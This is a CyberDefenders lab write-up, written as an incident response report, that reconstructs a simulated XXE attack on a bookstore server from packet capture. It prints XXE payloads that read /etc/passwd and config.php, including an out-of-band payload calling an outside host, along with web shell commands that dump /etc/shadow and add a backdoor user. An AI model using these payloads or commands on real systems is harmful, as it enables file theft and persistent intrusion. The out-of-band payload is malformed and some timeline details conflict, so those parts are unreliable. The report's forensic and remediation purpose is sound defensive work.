Incident Response Report: XXE Infiltration — XML External Entity Injection, Credential Theft & Web Shell Deployment
Platform: CyberDefenders
Challenge: XXE Infiltration
Category: Network Forensics / Incident Response
Difficulty: Easy
Classification: Confidential
Tools: Wireshark, Brim
Achievement: Proof of Completion
1. Executive Summary
Incident Type: Web Server Compromise / XXE Injection / Credential Theft / Web Shell Deployment
Analyst: Lead SOC Analyst / Threat Hunter
An automated alert detected unusual XML data being processed by the server at pageturner4books.net, suggesting a potential XXE (XML External Entity) Injection attack. A full network packet capture (XXEInfiltration.pcap) was analyzed to reconstruct the complete attack chain.
The investigation revealed that an external threat actor (210.106.114.183) performed a port scan identifying an exposed MySQL port (3306), then exploited an XXE vulnerability in /review/upload.php by uploading malicious XML files disguised as classic novels. Through systematic file enumeration, the attacker read config.php and stole database credentials (webuser / Winter2024). After authenticating to MySQL with the stolen credentials, the attacker deployed a web shell (booking.php), performed system reconnaissance, dumped /etc/shadow, and created a backdoor user account (brown) for persistent access.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| Attacker IP | 210.106.114.183 | External threat actor IP. |
| Victim IP | 50.239.151.185 | Compromised pageturner4books.net Apache Server. |
| Vulnerable Endpoint | /review/upload.php | PHP script vulnerable to XXE injection. |
| Malicious Files | TheGreatGatsby.xml, 1984.xml, ToKillaMockingbird.xml, PrideandPrejudice.xml | XML payloads disguised as book reviews. |
| Web Shell | booking.php | PHP web shell uploaded to /uploads/. |
| Stolen Credentials | webuser:Winter2024 | Database credentials extracted from config.php. |
| Backdoor Account | brown | User account created via useradd for persistence. |
| Exposed Port | 3306 (MySQL) | Database port publicly accessible. |
MITRE ATT&CK Mapping Overview
| Tactic | Technique | ID |
|---|---|---|
| Reconnaissance | Network Service Discovery | T1046 |
| Initial Access | Exploit Public-Facing Application | T1190 |
| Defense Evasion | Masquerading | T1036 |
| Credential Access | Credentials in Files | T1552.001 |
| Lateral Movement | Valid Accounts | T1078 |
| Discovery | System Owner/User Discovery | T1033 |
| Credential Access | OS Credential Dumping | T1003 |
| Persistence | Server Software Component: Web Shell | T1505.003 |
| Persistence | Create Account | T1136 |
2. Phase 1: Reconnaissance — Port Scanning & Service Discovery
Objective: Identify the attacker’s initial reconnaissance activity and exposed services.
Protocol Hierarchy Analysis
Opening Statistics → Protocol Hierarchy revealed the composition of the captured traffic:
- 73.1% HTTP — the bulk of the attack surface
- MySQL Protocol — database traffic confirming port 3306 was reached
- XML (eXtensible Markup Language) — XXE payloads in transit
- MIME Multipart — file uploads
- TLS — some encrypted traffic
IPv4 Conversations
Statistics → Conversations → IPv4 showed only two IP addresses in the entire capture — the attacker (210.106.114.183) and the victim (50.239.151.185), with 88,577 total packets and 24 MB of data exchanged.
TCP Endpoint Analysis — Identifying Open Ports
Navigating to Statistics → Endpoints → TCP tab revealed 10,444 unique TCP conversations — a massive number indicative of a port scan. Sorting by packet count identified the open ports:
| Port | Service | Packets |
|---|---|---|
| 80 | HTTP | 68,309 |
| 3306 | MySQL | 234 |
Port 3306 is the default MySQL port. Its exposure to the internet is a critical misconfiguration — database servers should never be publicly accessible.
MITRE ATT&CK Reference:
The 10,444 TCP conversations map to T1046 — Network Service Scanning. The attacker systematically probed the victim’s ports to identify exposed services.
3. Phase 2: Initial Access — XXE Injection via XML Upload
Objective: Analyze the XXE payloads and trace the attacker’s file enumeration strategy.
Identifying the Attack Vector
Filtering for POST requests revealed the attacker’s interaction with the application:
1
http.request.method == "POST"
This surfaced several POST requests, with five targeting /review/upload.php — the vulnerable XML upload endpoint.
First XXE Payload: TheGreatGatsby.xml
Following the HTTP stream of the first upload (packet 88306, timestamp 11:55:09) revealed the initial attack payload:
1
2
3
4
5
6
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>
The file was uploaded as TheGreatGatsby.xml — the first of several XML files named after classic novels, likely to blend in with a book review platform and evade casual inspection.
The server responded with HTTP/1.1 200 OK but Content-Length: 0 — meaning the parser processed the file but did not reflect the output directly.
What is XXE Injection?
XML External Entity (XXE) Injection is a vulnerability that targets applications parsing XML input. XML supports a feature called entities — essentially variables that can reference external resources. A malicious actor can abuse this to make the server read local files by defining an entity that references file:///path/to/file and then including that entity in the XML body.
MITRE ATT&CK Reference:
This attack leverages T1190 — Exploit Public-Facing Application (exploiting the XXE vulnerability inupload.php). The naming of XML files after classic novels maps to T1036 — Masquerading (defense evasion through legitimate-looking filenames).
4. Phase 3: Credential Access — Systematic File Enumeration
Objective: Trace the attacker’s file reading progression and identify the stolen credentials.
XML Payload Progression
Stepping through each POST request to /review/upload.php chronologically revealed the attacker’s systematic file enumeration:
| XML Filename | Target File | Purpose |
|---|---|---|
TheGreatGatsby.xml | file:///etc/passwd | Initial probe |
1984.xml | file:///var/www/html/index.php | Application mapping |
ToKillaMockingbird.xml | file:///var/www/html/config.php | Credential theft |
PrideandPrejudice.xml | Out-of-band exfiltration | Advanced data extraction |
Second Payload: 1984.xml — Application Mapping
The second XML payload targeted index.php to understand the application structure:
Third Payload: ToKillaMockingbird.xml — config.php Leak
The third payload targeted config.php — the critical configuration file:
Following the HTTP stream for this request (timestamp 12:03:12) showed the server echoing back the full contents of config.php:
1
2
3
4
5
6
7
8
9
10
11
12
<?php
$db_host = 'localhost';
$db_name = 'pageturner';
$db_user = 'webuser';
$db_pass = 'Winter2024';
$conn = new mysqli($db_host, $db_user, $db_pass, $db_name);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
?>
The complete database credentials were now in the attacker’s hands.
Fourth Payload: PrideandPrejudice.xml — Out-of-Band XXE
The final XML upload used a more sophisticated technique — Out-of-Band XXE with PHP filters:
1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % payload SYSTEM "http://203.0.113.15/booking.php">
<!ENTITY % internals "<!ENTITY file SYSTEM
'php://filter/read=convert.base64-encode/resource=%payload;'>">
]>
<foo>&file;</foo>
This technique bypassed the earlier Content-Length: 0 limitation by routing the stolen data out-of-band rather than in the HTTP response. The php://filter/read=convert.base64-encode wrapper reads and base64-encodes files to bypass content restrictions.
MITRE ATT&CK Reference:
This phase maps to T1552.001 — Credentials in Files (reading database credentials fromconfig.phpvia XXE injection).
5. Phase 4: Lateral Movement — MySQL Access with Stolen Credentials
Objective: Confirm the attacker’s database access using the stolen credentials.
MySQL Traffic Analysis
Filtering for MySQL traffic confirmed the presence of database connections:
1
mysql
The results showed several MySQL interactions. The key was correlating timing with the credential theft:
| Time | Event |
|---|---|
11:47:xx | Early MySQL probes — user= empty (blind scans before credentials) |
12:03:12 | config.php read — credentials stolen |
12:08:49 | First MySQL login after credential theft ✅ |
The 5-minute gap between credential theft (12:03) and first authenticated login (12:08) represents the attacker processing the stolen data and establishing a direct database connection.
Analyst Note:
MySQL traffic is transmitted using a binary protocol, which is why following the TCP stream shows non-readable data — unlike HTTP which is plain text. Wireshark’s protocol dissector is required to interpret it.
MITRE ATT&CK Reference:
This phase maps to T1078 — Valid Accounts (using legitimate database credentials stolen from the configuration file to authenticate to MySQL).
6. Phase 5: Persistence — Web Shell Deployment & Backdoor Account
Objective: Analyze the attacker’s post-exploitation actions and persistence mechanisms.
Web Shell: booking.php
Filtering for GET requests after the MySQL login revealed a series of requests to /uploads/booking.php with ?cmd= parameters — the unmistakable signature of a web shell:
1
2
3
4
5
6
GET /uploads/booking.php?cmd=whoami
GET /uploads/booking.php?cmd=uname%20-a
GET /uploads/booking.php?cmd=sudo%20-l
GET /uploads/booking.php?cmd=cat%20/etc/shadow
GET /uploads/booking.php?cmd=cat%20/etc/passwd
GET /uploads/booking.php?cmd=useradd%20-m%20-s%20/bin/bash%20brown
Attacker’s Post-Exploitation Playbook
| Command | MITRE Technique | Purpose |
|---|---|---|
whoami | T1033 — System Owner Discovery | Identify running user context |
uname -a | T1082 — System Information Discovery | OS and kernel fingerprinting |
sudo -l | T1069 — Permission Groups Discovery | Check for privilege escalation paths |
cat /etc/shadow | T1003 — OS Credential Dumping | Steal hashed system passwords |
cat /etc/passwd | T1087 — Account Discovery | Enumerate all system users |
useradd -m -s /bin/bash brown | T1136 — Create Account | Backdoor user for persistent access |
Analyst Note:
The web shell was namedbooking.php— a name that would appear legitimate on a bookstore platform. The earlier out-of-band XXE payload already referencedbooking.phpon the attacker’s server (203.0.113.15/booking.php), suggesting the attacker used the same filename intentionally to blend web shell traffic into legitimate-looking patterns.
MITRE ATT&CK Reference:
This phase maps to T1505.003 — Server Software Component: Web Shell (deployingbooking.phpas a persistent backdoor) and T1136 — Create Account (creating thebrownuser for persistent access independent of the web shell).
7. Full Attack Timeline
Based on packet timestamps, the complete attack was reconstructed:
| Time (UTC) | Kill Chain Phase | Activity | Tool |
|---|---|---|---|
| 11:47 | Reconnaissance | Port scan begins — MySQL port 3306 probed (no credentials) | Scanner |
| 11:55 | Initial Access | First XXE payload — TheGreatGatsby.xml → /etc/passwd | Browser |
| 11:57 | Initial Access | Second XXE payload — 1984.xml → /var/www/html/index.php | Browser |
| 12:00 | Initial Access | Third XXE payload — ToKillaMockingbird.xml → config.php | Browser |
| 12:03 | Credential Access | config.php contents returned — credentials stolen | — |
| 12:08 | Lateral Movement | First authenticated MySQL login using stolen credentials | MySQL Client |
| 12:15 | Defense Evasion | Out-of-band XXE — PrideandPrejudice.xml (web shell delivery) | Browser |
| 12:16 | Lateral Movement | Second MySQL login attempt | MySQL Client |
| 12:19 | Execution | Web shell confirmed active — booking.php?cmd=whoami | Web Shell |
| 12:21 | Discovery | System reconnaissance — uname -a, sudo -l, /etc/shadow | Web Shell |
| 12:29 | Persistence | Backdoor user brown created via useradd | Web Shell |
8. Remediation & Mitigation Recommendations
Based on the findings, the following remediation steps should be prioritized:
Immediate Actions
- Take the web server offline and preserve forensic evidence
- Remove the
booking.phpweb shell from/uploads/ - Delete the backdoor user account
brown - Rotate all database credentials immediately
- Check all system accounts in
/etc/shadowfor unauthorized changes
Short-Term Fixes
- Disable XML External Entities — The root cause of this attack. In PHP:
libxml_disable_entity_loader(true); - Firewall MySQL port 3306 — Database servers should never be publicly accessible. Restrict to
localhostor trusted internal networks only. - Restrict file upload directories — The
/uploads/directory should never be executable. Disable PHP execution in Apache:php_flag engine off. - Remove credentials from config files — Use environment variables or a secrets manager instead of hardcoding credentials in
config.php.
Long-Term Hardening
- Implement Web Application Firewall (WAF) rules targeting
<!ENTITY,SYSTEM, andfile://patterns in POST bodies - Monitor for anomalous outbound connections — the OOB XXE caused the victim server to initiate a connection to
203.0.113.15 - Conduct regular penetration testing on all public-facing file upload endpoints
- Implement egress filtering to block unexpected outbound connections from web servers
9. Conclusion
The XXE Infiltration analysis demonstrates a complete, multi-phase web server compromise from XML injection to persistent backdoor. Key findings include:
Reconnaissance: A port scan identified MySQL port 3306 publicly exposed — a critical misconfiguration that enabled direct database access after credential theft.
Initial Access: The attacker exploited an XXE vulnerability in
/review/upload.phpusing XML files named after classic novels (TheGreatGatsby.xml,1984.xml,ToKillaMockingbird.xml,PrideandPrejudice.xml) to systematically read server files.Credential Theft: Database credentials (
webuser / Winter2024) were extracted fromconfig.phpvia XXE, enabling direct MySQL authentication 5 minutes later.Persistence: A web shell (
booking.php) was deployed, enabling full command execution. The attacker performed reconnaissance (whoami,uname -a), dumped/etc/shadow, and created a backdoor user (brown) for persistent access.Impact: Complete database access, system-level credential exposure, persistent backdoor access via both web shell and OS account.
Key Takeaways for the SOC:
- XXE Prevention: Disable external entity processing in all XML parsers — XXE is entirely preventable with a single configuration change.
- Network Segmentation: Never expose database ports to the internet. MySQL should only be accessible from trusted internal networks.
- Credential Management: Store database credentials in environment variables, not plaintext config files accessible through the web root.
- Upload Security: Disable script execution in upload directories and implement strict file type validation.
Analysis Date: March 22, 2026
Analyst: El OMARI Zakaria










